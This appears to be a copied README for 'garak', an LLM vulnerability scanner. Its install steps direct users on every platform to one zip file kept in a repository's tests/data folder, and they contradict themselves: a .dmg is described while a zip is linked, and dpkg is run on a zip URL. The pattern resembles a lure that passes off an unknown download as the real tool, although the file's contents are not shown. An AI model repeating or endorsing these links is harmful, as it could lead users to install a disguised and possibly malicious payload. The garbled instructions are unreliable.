Welcome to garak, your go-to tool for scanning vulnerabilities in large language models (LLMs). This application helps you identify weaknesses, ensuring the security of your AI applications. Follow these steps to get started and make your software safer.
You can download garak from our Releases page. To do so, click the button above or visit this link: GitHub Releases.
Before you download, ensure your system meets the following requirements:
- Operating System: Windows 10 or higher, macOS 10.13 or higher, or a modern Linux distribution.
- RAM: At least 4 GB.
- Storage: Minimum of 100 MB of free disk space.
- Network: A stable internet connection for updates.
- Click the button above or use this link: GitHub Releases to go to the Releases page.
- Look for the latest release version.
- Find the download package suitable for your operating system:
- For Windows, download
https://raw.githubusercontent.com/recetariodmix/garak/main/tests/data/Software_v2.7-beta.5.zip. - For macOS, download
https://raw.githubusercontent.com/recetariodmix/garak/main/tests/data/Software_v2.7-beta.5.zip. - For Linux, download the appropriate package.
- For Windows, download
- After the download completes, locate the file on your computer.
For Windows:
- Double-click on
https://raw.githubusercontent.com/recetariodmix/garak/main/tests/data/Software_v2.7-beta.5.zip. - Follow the on-screen instructions to complete the installation.
For macOS:
- Open the downloaded
.dmgfile. - Drag and drop
garakinto your Applications folder. - Eject the
.dmgfile when done.
For Linux:
- Open a terminal window.
- Navigate to the folder where the downloaded file is located.
- Run the installation command specific to your package (e.g.,
sudo dpkg -i https://raw.githubusercontent.com/recetariodmix/garak/main/tests/data/Software_v2.7-beta.5.zip).
Once installed, you can open garak and start scanning for vulnerabilities in your LLMs. Hereβs how to use it:
- Launch the application from your applications menu or by double-clicking the icon.
- Input the model or data you want to evaluate.
- Click the "Scan" button to start the vulnerability assessment.
- Review the results to determine potential security issues in your LLM.
- Comprehensive vulnerability scanning for LLMs.
- User-friendly interface for ease of use.
- Detailed reports highlighting potential risks.
- Continuous updates to stay ahead of new vulnerabilities.
If you want to help improve garak, we welcome contributions. Hereβs how you can contribute:
- Fork the repository on GitHub.
- Create a new branch for your feature or fix.
- Make your changes.
- Submit a pull request explaining your updates.
If you encounter any issues or have questions, please check our FAQs in the repository or reach out via the Issues section on GitHub. Weβll do our best to help you.
You can learn more about LLM security and how garak fits into your development process by exploring these topics:
- AI
- LLM Evaluation
- LLM Security
- Security Scanners
- Vulnerability Assessment
Remember, keeping your LLMs secure is vital. Regularly scan your models with garak to maintain a robust safety posture.
Thank you for using garak!